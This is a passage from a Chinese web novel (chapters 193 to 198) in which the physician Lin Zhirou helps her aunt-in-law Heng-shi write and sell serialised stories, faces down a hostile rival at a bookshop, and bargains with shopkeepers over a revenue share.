她的声音依旧温婉,却多了几分疲惫。怀中的小孙子好奇地打量着这对陌生的母女,眼神中带着几分怯生。 “大嫂,我......”珩氏气喘吁吁,一时间不知该如何开口。 顾馨巧看了看珩氏气色苍白的女儿,轻叹一声:“随我回去说吧。” 跟着顾馨巧来到一处小院,珩氏惊讶地发现这里收拾得干净整洁,远比老宅舒适。院子里种着几株海棠,开得正艳,墙角还摆着几盆翠绿的蕨类。 看来大嫂的日子,倒是比想象中好过一些。珩氏暗暗松了口气,却又为自己这个想法感到羞愧。 院门吱呀一声响起,林芷柔从正屋走出,阳光透过枝叶在她脸上投下斑驳的光影。她看到母亲身旁站着一位陌生妇人,脚步不由一顿。 这位妇人约莫三十出头,一身素净衣裳,面容清冷,眉宇间带着几分忧愁。她身边还站着一个十三四岁的小姑娘,怯生生地躲在她身后。 “母亲,您回来了。”林芷柔目光在陌生妇人身上略作停留,眼中带着询问的神色。 顾馨巧连忙介绍道:“这是你三叔母,身边是她女儿星荷。”说着又转向珩氏,“三弟妹,这是柔柔,星河的妻子。” 林芷柔身着一袭月白色男装,腰间系着玉带,虽是男装打扮,却丝毫不显突兀。她向珩氏行了个男子礼:“三叔母好,我是林芷柔,楚星河的...” 话未说完,院子里突然传来一阵欢快的脚步声。小阳阳蹦蹦跳跳地从后院跑来,一头撞进林芷柔怀里:“是我爹的媳妇,我娘亲!” 珩氏看着这个活泼可爱的小家伙,眼中浮现出一丝温柔。她弯腰将他抱起:“小娃娃,你叫啥名字呢?” “我叫楚阳洲,大家都叫我阳阳。”小家伙挺直了胸膛,一脸认真地说,“我可是家中唯一的男丁,要保护娘亲、祖母、阿奶和姑姑。” 珩氏被逗笑了,将小家伙放下。顾馨巧领着众人进了正屋,赵氏早已备好茶水,正端着茶盘从厨房出来。她看到珩氏,微微点头示意。 第一百九十三章 可以结为盟友 屋内陈设简单却整洁,几张木椅围着一张八仙桌,墙角摆着一个书架,上面整齐地码着几本书册。窗台上放着一盆兰花,绿叶间几朵白花含苞待放。 楚星澜拉着楚星荷到一旁说话,两个小姑娘很快聊得热络。星荷渐渐放开了拘谨,时不时发出银铃般的笑声。 珩氏端起茶盏抿了一口,目光在屋内扫视一圈,从袖中取出几张玉牌,推到顾馨巧面前:“大嫂,这些钱你拿着吧。抄家时我偷偷藏了些,那天在老夫人面前不好拿出来。” 林芷柔坐在一旁,默默观察着这位三婶。她发现珩氏虽然面容清冷,说话做事却颇为周到,与那位老夫人表面和善实则心机深沉的性子大不相同。 顾馨巧下意识看向林芷柔,看到她轻轻摇了摇头,便婉拒道:“三弟妹有心了,我们来帝都时也带了些积蓄,暂时不缺用度。” “大嫂,”珩氏坚持道,眼中闪过一丝焦虑,“这是我的一片心意。老爷说这事不必让老夫人和二嫂知道。柔柔不是要开铺子吗?总要有本钱周转。” 林芷柔听出了珩氏话中的担忧。这些玉牌若是放在珩氏身边,怕是早晚会被老夫人发现。她轻声道:“娘,既然三婶一片好意,我们就收下吧。” 顾馨巧见女儿发话,这才将玉牌收起:“那就多谢三弟妹了。三弟近来可好?” 珩氏心中一动,看来这个侄媳妇才是当家做主的人。她叹了口气:“老爷还好,他说要去书肆抄书贴补家用。能这样想,我就放心了。只是...”她欲言又止。 林芷柔看出三婶的担忧,眼珠一转:“三叔何不写些话本子?比抄书来钱快多了。”见珩氏面露难色,她又道:“只要能养家糊口,什么营生都是正经事。” 这番话让珩氏眼前一亮,但很快又黯淡下来:“可是,老爷他...” “而且三叔不必露面,”林芷柔继续道,“三婶可以出面与书铺谈,给三叔起个文雅的名字。若是写得好,还能印成书册,这可是长久的营生。” 珩氏越听越觉有理,眼中重新燃起希望:“柔柔说得对,我晚上就和你三叔商量。我平日也爱看话本,没准也能写上几篇。” 顾馨巧看着儿媳妇三言两语就让珩氏重拾信心,不由暗暗点头。这孩子虽然年纪不大,却深谙人情世故。 赵氏在一旁听着,心中也活络起来。她看了看自己的双手,这些年做鞋做衣的手艺或许也能派上用场。 “对了,”珩氏突然想起什么,从怀中又掏出一个荷包,“这是我给阳阳的见面礼。” 小阳阳正在院子里追着蝴蝶玩,听到有礼物,立刻跑了进来。珩氏将荷包递给他,荷包里装着几颗糖果和一个玉佩。 “谢谢三婶!”小家伙欢喜地抱着荷包,转身就要往外跑。 “阳阳,”林芷柔叫住他,“该怎么说?” 小家伙立刻站直身子,规规矩矩地向珩氏行礼:“多谢三阿奶赏赐。” 珩氏被逗得开怀大笑:“这孩子真讨喜。”她看向林芷柔,“柔柔教导得好。” 林芷柔笑而不语。她注意到星荷正偷偷看着阳阳,便招手道:“星荷,过来陪阳阳玩吧。” 星荷红着脸走过来,小阳阳立刻拉着她的手往院子跑:“小姑姑,我带你去看蝴蝶!” 楚星澜也跟着跑了出去,院子里顿时响起一片欢声笑语。 顾馨巧看着窗外嬉戏的孩子们,轻声道:“孩子们天真烂漫,倒是我们大人想得太多。” 珩氏点点头:“是啊,只要一家人平平安安,其他的都不重要。”她站起身,“时候不早了,我该回去了。改日再来看望大嫂。” 林芷柔送珩氏到门口,看着她牵着星荷离去的背影,若有所思。这位三婶与想象中大不相同,或许能成为一个可靠的盟友。 回到屋内,顾馨巧正在清点珩氏留下的玉牌。林芷柔走过去,轻声道:“娘,这些银子我们暂时收着。等铺子开起来,再想办法还给三婶。” 顾馨巧叹了口气:“也只能如此了。只是不知道你三叔能不能接受写话本的主意。” “三叔是个明事理的人,”林芷柔说,“只要能养家,想必不会拘泥于这些。倒是老夫人那边...” 话未说完,院子里突然传来一阵喧闹。原来是阳阳摔了一跤,楚星澜正手忙脚乱地安慰他。 林芷柔连忙跑出去,将小家伙抱起来检查。还好只是擦破了点皮,并无大碍。她掏出手帕替儿子擦去眼泪,轻声哄道:“不哭不哭,我们阳阳是男子汉。” 看着儿子破涕为笑的样子,林芷柔心中一暖。无论前路如何,只要一家人在一起,就没什么好怕的。 林芷柔回想着这位三婶虽是初次见面,却给她留下了极深的印象。不同于其他人见到她时的谄媚或是疏离,珩氏眼中闪烁的光芒里藏着一股韧劲,那是渴望改变命运的执着。 “三婶这人,倒是个有心思的。”林芷柔抱着阳阳,指尖轻轻梳理着孩子柔软的发丝。小家伙在她怀里扭来扭去,像只活泼的小兔子。 顾馨巧放下手中的绣活,叹了口气:“三弟妹确实不简单。能为了咱们家拿出一百五十两银子,这份情谊可不轻。”她停顿片刻,又补充道:“更难得的是,她竟然主动提出要帮忙。” “娘亲,三阿奶给我糖吃!”小阳阳奶声奶气地说道,小手还不忘拍着胸脯,“她说我是最乖的小郎君!” 林芷柔忍不住亲了亲儿子的小脸蛋,孩子身上特有的奶香味让她心里一片柔软:“是啊,三阿奶真是个好人。” 赵氏放下手中的针线,凑近几分:“说起来,三老爷年轻时也是个有志气的,想从军报国。可惜...”她的声音低了下去,眼中闪过一丝惋惜。 “可惜什么?”林芷柔来了兴趣,放下茶杯问道。 “可惜被老夫人给毁了。”赵氏压低声音,左右看了看,仿佛在说什么不可告人的秘密,“那会子三老爷闹着要去云州找老侯爷,老夫人直接把人关了三天三夜,不给吃不给喝,逼着去读书。” 楚星澜端着一盘点心走进来,将点心放在桌上:“荷妹妹刚才跟我说,昨晚听见三叔在哭,说要把家里藏的二百两银子拿出来救济咱们。” 屋内一时陷入沉默。林芷柔若有所思地摩挲着茶杯,茶水已经凉了,却仍能闻到淡淡的茶香。 与此同时,珩氏已经回到了楚家老宅。 她特意在路上买了些老夫人爱吃的桂花糕,果然见老夫人眉开眼笑,连说话的语气都温和了几分。 “三媳妇有心了。”老夫人捏着帕子,眼角的皱纹都舒展开来,“你这几日忙前忙后的,也该好好歇歇。” 珩氏恭敬地应了,等老夫人吃完点心才告退。她快步走回自己的院子。 第一百九十四章 开始写作 推开房门,楚云仲正在书案前研墨。听见脚步声,他急切地抬起头:“如何?见大嫂了吗?” 珩氏将见到顾氏的经过仔细说了一遍,特别提到了林芷柔提议写话本子的事。说到兴奋处,她的双手不自觉地比划起来:“老爷,柔柔给了我们一条生财之路!她说可以写连载的话本子,一集一集地发,吊着读者的胃口。” 楚云仲放下手中的毛笔,眼前一亮:“这倒是个好主意。”他看着妻子兴奋的样子,嘴角不自觉地扬起,“你一直喜欢看话本,没想到还能自己写。” “我已经想好要写什么了。”珩氏从书架上取出一叠白纸,动作轻快地铺在桌上,“要写一个与众不同的故事!不是那些千篇一律的才子佳人,而是...”她的声音渐渐低了下去,眼中闪烁着憧憬的光芒。 楚云仲默默地让出书桌,搬了把椅子在一旁坐下。他打开一本书,却总是忍不住抬头看看妻子。 阳光从窗棂间洒进来,落在珩氏的侧脸上。她专注地写着,时而皱眉,时而展颜,仿佛已经沉浸在自己创造的世界里。 楚云仲看得入神,突然想起年少时的梦想。那时的他也是这般热切,想要追随老侯爷建功立业。可惜...他摇摇头,将这些往事抛到脑后。 “老爷,你说这个情节如何?”珩氏突然抬起头,眼中带着期待,“我想写一个女子,她...” 话未说完,外面传来一阵脚步声。珩氏赶紧将纸张收起,藏在袖中。 “三少奶奶,老夫人请您过去说话。”丫鬟在门外轻声禀报。 珩氏整理了一下衣裳,对楚云仲做了个无奈的手势,这才起身往外走。 楚云仲看着妻子的背影,心中五味杂陈。他知道,妻子这些年一直压抑着自己的才情,如今终于找到了一个发泄的出口。 夜色渐深,烛光摇曳。 珩氏从老夫人那里回来,又坐在书桌前奋笔疾书。她的眼中闪烁着坚定的光芒,仿佛看到了希望。 楚云仲默默地为她添了一盏油灯,轻声道:“夜深了,别太累着。” 珩氏点点头,却没有停下笔:“再写一会儿,我怕明天想不起来了。” 烛光映照着她专注的侧脸,在墙上投下长长的影子。纸笔沙沙的声音在静谧的楚里格外清晰。 而在城南的小院子里,林芷柔望着窗外的月光,想起白天见到的珩氏。那双眼睛里的光芒,让她想起了曾经的自己。 阳阳已经睡熟了,小脸蛋红扑扑的,呼吸均匀。林芷柔轻轻为他掖了掖被角,心中默默祝福那位刚认识的三婶。 命运就像是一本未完待续的话本子,谁也不知道下一页会写些什么。但至少,她已经为三婶打开了一扇新的门。 月光如水,静静地洒在两处院落里。一个新的故事,正在悄然展开。 珩氏捧着手中的纸张,指尖微微颤抖。窗外的月光透过纱窗洒落进来,在她身上镀上一层柔和的银辉。她的目光在纸上流连,眼中闪烁着期待与忐忑交织的光芒。 “老爷,你觉得这个雅号如何?”她的声音里带着几分兴奋,又掺杂着一丝不确定。 楚云仲放下手中的青瓷茶盏,茶香在室内缓缓散开。他眉头微皱,目光在妻子期待的面容上停留片刻:“雅号?还要男女通用的?” 烛火在微风中轻轻摇曳,在墙上投下摇晃的影子。楚云仲的目光在房中游走,仿佛在寻找灵感:“黄萝君、松柏翁......” 他的声音渐渐低了下来,手指无意识地敲击着桌面。突然,他眼前一亮:“要不就叫青竹居士?” “青竹居士!”珩氏惊喜地站起身,裙摆带起一阵细微的窸窣声,“这个好,这个好!我们如今也算是寒门,整日在家修身养性,不就是居士吗?” 她迫不及待地在案前坐下,提笔在纸上写下这四个字。笔锋流畅,字迹端正。虽说出身不高,但好歹也是读过私塾的,否则也不会被选入云陵伯府。 想到云陵伯府,珩氏的手微微一顿。记忆不由自主地回到了当年老夫人挑选儿媳的情景。那时的她,还是个懵懂的少女,站在一众待选的闺秀中间,既紧张又忐忑。 老夫人的目光如刀,在每个人身上细细打量。她深谙其道,从不选那些高门大户的女子,就怕娘家势大难以掌控。这也是为什么,最终选中了她和赵氏这样的小门小户出身的姑娘。 那些年在老夫人面前,她和赵氏都是战战兢兢,不敢有半分违逆。即便是现在,想起那段日子,珩氏的心里依然会泛起一丝苦涩。 但此刻的她已顾不得这些往事,全身心都投入到故事的创作中。笔尖在纸上飞舞,一个个故事情节在脑海中涌现。她时而皱眉,时而展颜,仿佛已经沉浸在自己构建的世界里。 楚云仲坐在一旁,看着妻子专注的侧脸。烛光映照下,她的面容显得格外柔和。他时而提出建议,时而点头赞许。看着妻子废寝忘食的模样,他心中也不禁为之动容。 “这个重生复仇的故事,确实别具一格。”楚云仲轻声说道,目光落在妻子写满字的纸张上,“往日那些才子佳人的话本,哪有这般吸引人?这还得感谢星河媳妇的点拨。” 珩氏闻言,笔下不停:“是啊,柔柔那丫头见识广博,若不是她提点,我也想不到这样的故事。” 夜色渐深,院中传来几声蛙鸣。珩氏依旧伏案写作,直到东方泛起鱼肚白,她才放下笔,揉了揉酸痛的手腕。 次日清晨,珩氏简单梳洗后,便悄悄溜出楚家老宅。清晨的街道上已经有了零星的行人,她加快脚步,直奔林芷柔的医馆而去。 仁心医馆就在沈明布店旁边,位置极好。门前的招牌崭新,漆色未褪,显然是新近挂上的。这还是温五陈的铺面,原本是家糕点铺子,现在改作医馆,倒是便利了城南的百姓。 推开医馆的门,一股淡淡的药香扑面而来。林芷柔正要去给温五陈针灸,见珩氏匆匆而来,连忙放下手中的针包迎了上去。 “三婶,这么早?”她的声音里带着几分惊讶。 珩氏从布袋中取出稿子,脸上带着掩饰不住的喜色,眼角的细纹都舒展开来:“柔柔,我写了一夜,你看看可有什么问题?” 林芷柔接过稿子,感受到纸张上还残留的余温,心中暗叹。这位三婶也是个有心人,一夜不睡就为了写这个。想到前日送去的银子,她更不好推辞。 “三婶放心,我一定好好看看。”她温声安抚道,目光扫过珩氏略显疲惫的面容,“不过现在要去给温五陈针灸,下午再细细研究如何?” 提到温五陈,林芷柔心中一叹。这人也是个可怜人,年过三十却无子无嗣。不仅要提防亲姐姐的算计,还要忍受外人的闲言碎语。若不是遇到她,怕是早就心灰意冷了。 想到这里,林芷柔叫来伙计去通知温家,改在下午再去。医馆里的药柜前,一个小伙计正在整理药材,听到吩咐后立刻放下手中的活计出门去了。 珩氏见状,连忙摆手说道:“要不我晚些再来?你先去给温五陈看病要紧。” “不妨事,”林芷柔笑着摇头,“反正早晚都要看的。三婶先坐,我让人沏茶来。”说着,她转身吩咐另一个伙计去准备茶水。 阳光透过医馆的窗户洒进来,照在摆满药材的柜子上。珩氏坐在诊桌旁,看着林芷柔翻阅自己的稿子,心中既期待又忐忑。这一夜的心血,不知道在别人眼中是否真的值得一读。 第一百九十五章 试稿 楚星澜气喘吁吁地跑回来,手里攥着刚买的纸笔,额头上细密的汗珠在阳光下闪着微光。她站在门口稍作调整,这才轻手轻脚地推开房门。 屋内,几位女眷正围坐在桌前,专注地翻看着一叠纸张。楚星澜的目光不由自主地落在嫂嫂身上,看着她认真批改的模样,心里涌起一股敬佩。不仅懂医术,还能写话本子,这样的本事,让她羡慕不已。 “这段写得不错,不过还需要再润色一下。”林芷柔一边在纸上勾画,一边低声解释着,“故事要有起承转合,人物性格要鲜明,这样读者才会喜欢。” 珩氏在一旁仔细聆听,时不时点头。她虽然也喜欢写话本子,但总觉得自己写得不够好。有了林芷柔的指点,她觉得豁然开朗了许多。 “三婶,”楚星澜小心翼翼地开口,“帝都里哪里能卖话本子呢?” 顾馨巧眼睛一亮,打趣道:“你三婶可是话本子的老主顾了,帝都里但凡有名气的书局,她都去过。”说着,意味深长地看了林芷柔一眼。 珩氏脸上泛起红晕,有些局促地摇头:“老爷让我把东西送到墨香书局,我一个人实在不敢去。那里人多眼杂,我怕......”她的声音越来越小,手指不自觉地绞在一起。 “柔柔,你能陪我去吗?”珩氏抬头看向林芷柔,眼中带着期待。 林芷柔放下手中的笔,温和地笑道:“当然可以。上午我正好有空,下午再去看看病人。”她看了看窗外的天色,“现在去正好,等会儿天热了反而不好走。” “那你们快去吧,”顾馨巧站起身来,“家里有我和你姨娘照看着,你们放心。” 林芷柔提议坐马车,免得走路太累。珩氏却为难地皱眉:“你会赶马车吗?我可不会。” “这个简单。”林芷柔笑着往后院走去,“我在乡下时经常帮着赶车,不算什么难事。” 楚星澜悄悄跟在后面,像只小猫似的,走路都不敢发出声音。她犹豫了好一会儿,才小声问:“嫂嫂,我能一起去吗?” 林芷柔回头看着小姑娘怯生生的样子,心里一酸。自从家里出事后,这孩子就变得小心翼翼,生怕惹人不快。她放慢脚步,轻声说:“当然可以,你想去就去。咱们是一家人,不用这么拘谨。” 楚星澜眼睛一亮,但很快又黯淡下来:“可是...可是我没有银子买话本子。” “不用担心,”林芷柔安慰道,“今天我们先去看看,回来我们买些纸笔。你要是也想写,我可以教你。等写好了,我帮你送去书局,免得你被人欺负。” 马车缓缓驶向城南,墨香书局就坐落在那里。这是帝都最大的书局,两层楼高的建筑古色古香,门前的石狮子被擦拭得锃亮。底层是男客看书品茗之处,楼上则专供女眷消遣。 林芷柔一身布衣长衫,头戴布带,神情淡然地走在前面。她的装扮虽然朴素,但举手投足间却透着一股难以言说的气度。刚要上楼,就被伙计拦住:“这位公子,楼上是女眷所在,男子不得入内。” “无妨,我来找你们掌柜的聊聊生意。”林芷柔语气平和,但眼神坚定。 楚星澜,突然说:“嫂嫂,我决定了,我也要写话本子。” “哦?”林芷柔笑着问,“想写什么样的故事?” “我想写......”楚星澜眼中闪着光,“我想写一个小女孩变得很厉害的故事,就像嫂嫂一样厉害。” 林芷柔愣了一下,心中泛起一丝暖意。她看着这个单纯的小姑娘,轻声说:“好,等回去我教你。” 伙计打量着她,虽是布衣,但那份气度不凡,连忙道:“掌柜的在后院忙活,我这就去请。” 就在这时,楼上传来一阵脚步声。两个衣着华贵的女子款款走下楼来,其中穿红衣的突然站定,目光如刀般射向林芷柔:“林大夫?你也有闲情逸致来书局?我还以为你只会骗我舅舅的钱呢!” 空气瞬间凝固。珩氏和楚星澜不由自主地往后退了一步,生怕惹上麻烦。 林芷柔却纹丝不动,她冷冷地看着对方:“温老太太中的是什么毒,想必孔小姐心里清楚。若我没有真本事,温老板会平白送我银子?” 红衣女子孔芷馨脸色一变,眼中闪过一丝慌乱。她是温五陈姐姐的女儿,因为林芷柔破坏了母亲的计划,一直怀恨在心。 “你...你胡说什么!”孔芷馨强自镇定,但声音却有些发抖,“我外祖母是染了风寒,谁说她中毒了?” “是吗?”林芷柔轻笑一声,“那为何你母亲每次给老夫人送汤药,都要避开下人?为何老夫人每次喝完药后,都会头晕目眩?” 孔芷馨的脸色越发难看,她咬着牙,恨恨地说:“林芷柔,你别以为自己会点医术就了不起。总有一天,我要让你知道......” “让我知道什么?”林芷柔打断她的话,“让我知道你们是如何害人的吗?” 孔芷馨被这话噎住,一时说不出话来。她身边的丫鬟见状,连忙上前搀扶:“小姐,时候不早了,该回去了。” 孔芷馨狠狠地瞪了林芷柔一眼,转身就想离去。忽而停住脚步还想说些什么。 ,楚星澜在林芷柔的耳边轻声嘀咕:“嫂嫂,她们...她们好可怕。” 林芷柔摸了摸她的头:“不用怕,有我在。” 第一百九十六章 结怨 林芷柔站在书局门前,看着眼前这位穿着华贵的温家外孙女,心中泛起一阵冷意。那绣着金线的湖蓝色裙摆随风轻摆,衬得她愈发高傲。她母亲,为了那一成的家产,竟然能做出如此卑劣之事。 “林大夫,”孔芷馨扬起下巴,眼中闪过一丝轻蔑,不死心地说“你凭什么说我外祖母是中毒?就凭你这个乡野郎中也配给我外祖母看病?” 林芷柔抬眸,目光如炬:“我不仅说她中毒,还能说出是谁下的毒。”她的声音不疾不徐,却字字如刀。 这话一出,孔芷馨的脸色瞬间变得煞白,双手不自觉地绞在一起。她强装镇定,但眼底的慌乱却出卖了她。 一旁的绿衣女子苏语嫣却不明就里,急忙插话:“什么?温老太太中毒了?芷馨姐姐,这是怎么回事?”她圆圆的脸上写满了担忧。 林芷柔看着这个天真烂漫的女子,心中暗叹。这位太仆寺少卿的千金,怎么会如此单纯?她那双清澈的眼睛里还带着几分孩子气,与这纷争的世界格格不入。 “苏小姐,此事说来话长。”林芷柔轻声道,目光扫过周围渐渐聚集的人群,“若你祖父身体不适,可来福康仁心医馆寻我。” “城南?”孔芷馨冷笑一声,眼中尽是不屑,“那不是贱民聚集之地吗?林大夫,你这身份,倒是跟那地方很配。” 珩氏站在一旁,听到这话,心中一紧。她看着林芷柔的背影,担忧地咬着下唇。柔柔虽然医术高明,但毕竟年纪尚轻,这等言语难免会伤到她。 然而林芷柔只是淡然一笑,眉眼间透着几分从容:“医者父母心,治病救人不分贵贱。孔小姐是觉得我身份低贱,大可不必来寻医问诊。” 这番话说得在场众人都是一愣。书局内的学子们纷纷放下手中的书卷,好奇地探出头来。 谁也没想到,这位看起来年纪轻轻的大夫,竟有如此气度。她身上那股淡然的气质,与她的年龄极不相称。 “你...你...”孔芷馨气得脸色涨红,手指颤抖地指着林芷柔,却说不出一句完整的话来。 “芷馨姐姐,你别这样说林大夫。”苏语嫣拉着孔芷馨的袖子,急得眼圈都红了,“她可是治好了威震大将军的神医啊!” 书局里的学子们听到这话,顿时炸开了锅。 “什么?这位就是那位神医?” “居然这般年轻?” “还是位女子?” “听说连太医院的老院判都对她赞不绝口!” 众人的惊叹声此起彼伏,议论声在书局内回荡。有人翻出医书,指着上面的注解,小声讨论着林芷柔的医术。 孔芷馨见状,更是气不打一处来。她狠狠甩开苏语嫣的手,面容扭曲:“你若想跟这种下等人来往,以后就别来找我!” 说完,她转身离去,裙摆翻飞,带着满腔怒火。那急促的脚步声在石板路上格外刺耳。 苏语嫣愣在原地,一时不知所措。她的眼中泛着泪光,手足无措地看着林芷柔。 “林大夫,对不起...”她低声道歉,声音里带着几分哽咽。 “无妨。”林芷柔微微一笑,伸手轻轻拍了拍她的肩,“你若真想为祖父看病,明日随时可来。” 看着孔芷馨离去的背影,林芷柔眸光一沉。秋风吹起她的发丝,在空中轻轻飘荡。 这位温家的外孙女,怕是不会善罢甘休。那双眼中的恨意,已经说明了一切。 城南虽是平民聚居之地,但也不是任人宰割的地方。街道两旁的店铺里,那些看似普通的小贩,都暗中关注着这一切。 若是她们真敢来闹事,林芷柔也不介意让她们知道,自己可不是好惹的。她的手指轻轻抚过腰间的香囊,里面装着的可不只是寻常药粉。 珩氏看出了林芷柔的担忧,轻声道:“柔柔,要不要请几个护院?城南虽说安稳,但难保有人不知死活。” “不必。”林芷柔摇头,目光坚定,“我自有打算。” 她转身看向书局内,目光落在那些医书上。一排排古旧的书籍整齐地摆放着,散发着淡淡的墨香。 这一场风波,才刚刚开始。但她既然选择了这条路,就不会轻易退缩。 书局外的街道上,行人来来往往。有人驻足观望,有人低声议论。秋风卷起地上的落叶,在空中打着旋,仿佛在预示着即将到来的风暴。 林芷柔抬头看了看天色,云层渐渐变厚,似乎要下雨了。她转身走进书局,开始整理那些散落的医书。每一页都凝聚着前人的智慧,而她,还有很长的路要走。 珩氏跟在她身后,看着这个年轻的大夫专注的背影,心中既担忧又欣慰。她知道,林芷柔的选择或许会带来更多的麻烦,但这就是她的路。 这一场较量,她已经准备好了。 第一百九十七章 谈分成 书局掌柜此时从店内走出,目光落在林芷柔身上时,眼中闪过一丝惊讶。 他早就听说过这位林大夫的大名。据传她在云州开设的仁心医馆,专门为平民百姓看诊,如今竟在帝都城南也开了分馆。掌柜重新打量着眼前这位年轻女子,她一身素雅长裙,举止从容,与传闻中的形象倒是颇为相符。 门前围观的学子们窃窃私语,有人认出了林芷柔的身份,不由得议论纷纷。 “听说她医术高明,连太医院都对她赞誉有加。” “可不是么,我表兄就在她的医馆看过病,药到病除。” “难怪连墨香书局的掌柜都亲自相迎。” 掌柜做出一个请的手势,“林大夫,里面请。” 周围的学子见状,纷纷散去。只有一位身着淡青色襦裙的少女依依不舍地留在原地,她是苏语嫣,城中苏家的小姐。 “林大夫,”苏语嫣绞着手指,眼中带着期盼,“明日晌午我能带祖父来看诊吗?祖父的老毛病一直不见好转。” 林芷柔转身,目光柔和地看着这个满脸焦急的少女,“当然可以,你祖父的病症我略有耳闻,明日带他来便是。” 得到应允,苏语嫣眉眼弯弯,欢快地行了一礼,这才蹦蹦跳跳地离去。看着她的背影,林芷柔嘴角微扬,跟着掌柜进了后院。珩氏和楚星澜紧随其后。 后院布置雅致,一株老梅傲然挺立,虽已过花期,却依然姿态潇洒。石桌上早已备好茶具,茶香袅袅升起,掌柜亲自为三人斟茶。 “不知林大夫此来有何贵干?”掌柜笑眯眯地问道,目光却不着痕迹地在三人身上扫过。 林芷柔从珩氏手中接过一叠纸张,动作优雅地递给掌柜:“这个话本想请掌柜过过目。” 珩氏坐在一旁,紧张得手心冒汗。这话本凝聚了她近半年的心血,若能得到墨香书局的青睐,或许她们一家的境遇就能改善。她偷眼看向林芷柔,见她神色从容,不由暗自镇定了几分。 楚星澜安静地坐着,纤细的手指无意识地摩挲着茶杯边缘。自从嫂嫂来了以后,她再也不用为生计发愁。那日宅子被抄时,若不是嫂嫂当机立断,带着她们收拾细软,恐怕现在她们早已流落街头。 掌柜仔细翻看着话本,眼中精光闪动。纸张翻动的声响在院中格外清晰,连老梅的枝叶似乎都在随风轻颤,为这一刻增添了几分紧张感。 “这本子写得不错,”掌柜终于抬起头,“情节新颖,文笔流畅,不知道林大夫打算出几集?” “这是我三婶所写。”林芷柔淡然道,目光示意了一下珩氏。 掌柜眼中闪过讶异,朝珩氏投去赞赏的目光:“夫人好文采!这样的佳作,不知能写几集?” “掌柜想要多少集呢?”林芷柔不答反问,语气平和中带着几分从容。 “这...”掌柜一时语塞,“林大夫的意思是...” “故事可长可短,全凭掌柜需要。”林芷柔轻轻放下茶杯,“三婶的构思已经很完整,无论是短篇还是长篇,都能写得精彩。” 掌柜沉吟片刻,眼中闪过一丝精明:“那就先试一集。按我们书局的惯例,新人的润笔费是一两银子一集。” 珩氏心中一喜,这可比她预想的要多。可还未等她开口,就见林芷柔摇头:“那就算了。” “哦?”掌柜挑眉,“林大夫另有想法?” “分成。”林芷柔轻描淡写地说,仿佛在谈论今日的天气,“刨去成本,利润三七分或四六分,甚至五五开都可以,就看掌柜能开出什么价位了。” 此言一出,掌柜瞪大了眼睛,手中的茶杯差点脱手。院中一时寂静,连风声都似乎停滞了。 珩氏也惊得说不出话。墨香书局遍布各地,若真按分成算,那可就不是一两银子的事了。她看向林芷柔的目光中充满感激,这个侄媳妇总能在关键时刻为她们谋划周全。 楚星澜悄悄握住珩氏的手,感受到对方手心的冰凉。她知道,这一刻对三婶来说意味着什么。自从父亲...她不愿再想下去,只是更用力地握紧了三婶的手。 “这个...”掌柜面露难色,目光在三人之间游移,“林大夫,您这要求...” 林芷柔不慌不忙地品着茶,任由沉默在院中蔓延。老梅的影子在石桌上摇曳,茶香渐渐散去,而她始终保持着优雅的姿态,等待掌柜的回答。 掌柜暗自思量,眼前这位林大夫的名声他是知道的。若能与她建立合作,对书局来说未必不是一件好事。更何况,这话本的确写得不错... 墨香书局的掌柜将本子递还给林芷柔时,眼中闪过一丝遗憾。他的手指在本子封面上轻轻摩挲,似乎在权衡什么。店内的香炉袅袅升起一缕檀香,与门外喧嚣的市井气息形成鲜明对比。 “这事我做不了主,得请示东家。”掌柜的语气中带着几分为难,“不过依我看,东家多半不会同意这个条件。一两银子一集的价格,在帝都已是极高了。” 林芷柔接过本子,指尖微微用力。阳光透过雕花窗棂洒落在她的侧脸,勾勒出一道柔和的轮廓。她嘴角微扬,声音平静:“无妨,天下书局千千万,总有识货的。” 一旁的珩氏看着林芷柔的侧脸,心中五味杂陈。这个侄媳学得一身医术,性子更是刚烈。她正想开口劝说,却见楚星澜轻轻摇头,便将到嘴边的话又咽了回去。 三人离开墨香书局时,林芷柔的背影挺得笔直,仿佛一柄出鞘的利剑。掌柜望着她们远去的身影,不由得摇头叹息。这位林大夫怕是不知帝都行情,一两银子一集已是天价,寻常话本也不过三四钱而已。 马车上,车帘被风掀起一角,街市的喧嚣声断断续续地传进来。林芷柔转头看向珩氏,眼中带着几分试探:“三婶不觉得可惜吗?” “有什么可惜的?”珩氏笑着摇头,眼角的皱纹舒展开来,“不过是几张纸、几滴墨的事。能卖就卖,卖不掉就留着,总不至于饿死。” 听到这话,林芷柔紧绷的肩膀松弛下来。她最怕珩氏因此自责,毕竟这些医案都是珩氏一笔一画抄录的。车厢内的气氛渐渐轻松,她开口问道:“三婶可知道帝都还有哪家书局?一两银子确实太少了,咱们不能贱卖了自己的心血。” 第一百九十八章 墨香书斋 珩氏探出头,指向街对面:“那边有家墨香书斋,虽然比不上墨香书局,但也算帝都数得上的铺子。”“那咱们去看看。”林芷柔说着,掀开车帘跳下马车。 墨香书斋比墨香书局小了一圈,但布局相仿。门口摆着几个书架,上面整齐地摆放着各类书籍。一个十六七岁的小伙计正在掸灰,见有客人进来,忙放下手中的拂尘热情地迎上前。 “几位客官,想看些什么书?” 林芷柔环顾四周,直截了当地说:“我来找你们的老板聊聊生意。” 小伙计愣了一下,随即做了个请的手势:“几位随我来。” 他领着三人穿过几排书架,来到后院。一位三十多岁的妇人正蹲在地上整理发霉的书籍,见有客人来访,忙站起身擦了擦手。 “几位请进。”妇人将三人请进屋内,自己则去准备茶水。 林芷柔打量着屋内陈设。虽说不及墨香书局气派,但也收拾得干净整洁。茶香渐渐在屋内弥漫开来,她开口问道:“掌柜的,不知您能否做主?” 妇人端着茶盘进来,将茶杯一一摆好。听到这话,她迟疑片刻,转身进了里屋。不多时,便扶着一个男人出来。 那人瘦得像根竹竿,面色蜡黄,唯独肚子高高隆起,活像个孕妇。他走路时步履蹒跚,全靠妇人搀扶。 珩氏被这怪异的景象吓了一跳,身子不由自主地后退,幸亏楚星澜及时扶住。 “还是让我相公做主吧。”妇人小心翼翼地扶着男人坐下,“我一个妇道人家不太懂这些。” 林芷柔的目光落在男人隆起的腹部,医者的本能立刻被唤醒。她仔细观察着男人的症状,心中已有了初步判断。 “在谈生意之前,让我先给您把个脉如何?”她说着,已经坐到了男人身边,“我是从云州来的大夫。” “云州?”夫妻俩眼睛一亮,对视一眼。 妇人激动地问:“可是那位治好严将军的林大夫?” “正是在下。” “天呐!”妇人扑通一声跪在地上,眼泪顺着脸颊滚落,“林大夫,求您救救我相公!帝都的大夫都说他没救了...” 男人虚弱地伸手想要拉她:“濮馨,别这样...” 